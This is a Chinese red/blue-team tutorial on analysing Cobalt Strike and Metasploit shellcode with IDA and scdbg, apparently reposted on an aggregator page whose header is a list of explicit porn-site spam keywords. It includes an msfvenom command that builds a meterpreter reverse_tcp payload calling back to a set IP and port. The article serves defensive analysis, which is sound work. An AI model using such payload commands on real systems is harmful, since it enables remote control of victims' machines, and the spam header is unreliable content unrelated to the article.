日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

【网络安全】红蓝攻防:shellcode的分析

發(fā)布時(shí)間:2025/3/21 编程问答 40 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【网络安全】红蓝攻防:shellcode的分析 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

前言

在做紅藍(lán)攻防時(shí),常常要用到cs、msf等工具,使用工具生成shellcode或可執(zhí)行程序,那么小小的shellcode為何能做這么多事情,拿到shellcode后又該怎么分析。希望這篇文章能給大家?guī)?lái)答案,文章中不正確的地方請(qǐng)及時(shí)指出。

shellcode定義

shellcode是一段用于利用軟件漏洞而執(zhí)行的代碼,shellcode為16進(jìn)制之機(jī)械碼,以其經(jīng)常讓攻擊者獲得shell而得名。shellcode常常使用機(jī)器語(yǔ)言編寫。 在寄存器eip溢出后,加入一段可讓CPU執(zhí)行的shellcode機(jī)械碼,讓電腦可以執(zhí)行攻擊者的任意指令。

通俗來(lái)講就是一串16進(jìn)制的機(jī)器碼,由CPU解釋為操作指令 ,最后由內(nèi)存加載執(zhí)行。這些操作指令可以由工具生成,也可以自己編寫。

例如常見的\x55\x88\xEC,經(jīng)CPU解釋后如下

55 push ebp

8B EC mov ebp, esp

了解一些匯編知識(shí)就能理解,這是一個(gè)簡(jiǎn)單的入棧操作

shellcode提取

【點(diǎn)擊查看學(xué)習(xí)資料】私信回復(fù)“資料”可獲取

這里以cs生成的powershell代碼舉例,首先使用Cobalt Strike生成一個(gè)powershell的payload。

可以看到使用了base64和xor編碼,可以使用CyberChef工具進(jìn)行解碼,解碼后轉(zhuǎn)成hex并去除空格

然后以hex形式黏貼至010editor

簡(jiǎn)單分析

將獲取到的文件載入IDA進(jìn)行簡(jiǎn)單分析

IDA嘗試還原代碼,但是第一段IDA將其視為了數(shù)據(jù)段,使用快捷鍵C來(lái)進(jìn)行轉(zhuǎn)換

還原后可以發(fā)現(xiàn),其在第二行調(diào)用了sub_8F,另外還要注意fs:[edx+30h],這是一個(gè)指向PEB的指針,這是shell代碼動(dòng)態(tài)定位和加載所需導(dǎo)入的方式,找到PEB后,就可以去找IAT里相關(guān)函數(shù)了。

在sub_8F函數(shù)內(nèi),可以看到如下代碼,使用快捷鍵R可以轉(zhuǎn)換成字符,發(fā)現(xiàn)其調(diào)用了wininet.dll,這是一個(gè)windows應(yīng)用程序網(wǎng)絡(luò)相關(guān)模塊

還有一部分調(diào)用我們需要借助于工具匹配windows dll的api哈希值,完整列表

通過(guò)檢索可以查找到對(duì)應(yīng)調(diào)用

0xc69f8957 wininet.dll_InternetConnectA

0xa779563a wininet.dll_InternetOpenA

快速分析

使用IDA分析可以很容易的對(duì)shellcode的流程加載進(jìn)行觀察,當(dāng)然我們可以使用SCDBG工具更快速的對(duì)shellcode進(jìn)行分析。它是一個(gè)圍繞libemu仿真庫(kù)構(gòu)建的shell代碼分析應(yīng)用程序。將向用戶顯示shellcode試圖調(diào)用的所有Windows API。

通過(guò)命令行直接對(duì)文件進(jìn)行分析,可以快速獲取其調(diào)用的函數(shù)庫(kù)和遠(yuǎn)端的地址與端口

除了命令行,該工具還提供了gui界面,載入文件勾選相關(guān)選項(xiàng),會(huì)自動(dòng)

cs流程分析

通過(guò)上面分析我們可以了解到,cs生成的shellcode僅僅加載了wininet API庫(kù)并導(dǎo)入了兩個(gè)用于建立互聯(lián)網(wǎng)連接的庫(kù),并可以看到連接對(duì)應(yīng)的IP和端口。其功能也很明顯,就是一個(gè)接收信號(hào)的程序。那么回過(guò)頭看一下cs生成的ps文件的其他部分

首先,腳本從system.dll 中導(dǎo)入兩個(gè)函數(shù) GetModuleHandle 和 GetProcAddress,通過(guò)動(dòng)態(tài)鏈接方式直接從內(nèi)存中導(dǎo)入dll,不會(huì)從磁盤加載。

然后,這些函數(shù)用于為函數(shù)“var_va”分配內(nèi)存空間,該函數(shù)包含我們的 shellcode。然后腳本對(duì) shellcode 進(jìn)行解碼和解密

接下來(lái),VirtualAlloc 將 shellcode 函數(shù)寫入內(nèi)存空間以供調(diào)用進(jìn)程使用。因此,shellcode 本質(zhì)上是注入到進(jìn)程使用的內(nèi)存空間中。

最后,shellcode 被執(zhí)行,在那里它與 Cobalt Strike 服務(wù)器建立一個(gè) C2 通道。當(dāng)通道建立后即可接收來(lái)自cs的指令。

msf流程

首先使用msfvenom生成shellode。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.245.153 LPORT=4444 -f raw

可惜的是64位的shellcode無(wú)法直接使用scdbg進(jìn)行分析,相對(duì)應(yīng)的一些函數(shù)IDA無(wú)法做到有效識(shí)別,但好在msf生成的shellcode有個(gè)特征可以有助于我們?nèi)ヌ崛P和端口。

移動(dòng)指令(mov)且結(jié)尾為0002的寄存器值,搜索后找到如下值4199F5A8C05C1120


這里注意大小端的問(wèn)題,進(jìn)行16進(jìn)制轉(zhuǎn)10進(jìn)制,可以得到I以下153.245.168.192,轉(zhuǎn)換出來(lái)就是192.168.245.153,5c11轉(zhuǎn)換后是4444。一般由于適用性問(wèn)題,64位的shellode較少,這里簡(jiǎn)單提一下。

msfvenom的shellcode實(shí)現(xiàn)的功能我們可以使用32位的進(jìn)行分析,將32位的shellcode使用scdbg工具打開,勾選scan for api table選項(xiàng),最后啟動(dòng)

可以發(fā)現(xiàn)其調(diào)用的是ws2_32.dll,它是Windows Sockets應(yīng)用程序接口,用于支持Internet和網(wǎng)絡(luò)應(yīng)用程序。通過(guò)分析可以得出msf的shellcode也僅僅做了建立連接通信的功能。

總結(jié)

shellcode是一串機(jī)器碼,可以由CPU解釋執(zhí)行。

cs和msf默認(rèn)生成的shellcode僅僅是一個(gè)連接程序,需要其他方式加載進(jìn)內(nèi)存執(zhí)行。

shellclode分析32位可以直接使用scdbg直接分析,可以獲取遠(yuǎn)程的IP和端口、調(diào)用的API等信息。

總結(jié)

以上是生活随笔為你收集整理的【网络安全】红蓝攻防:shellcode的分析的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。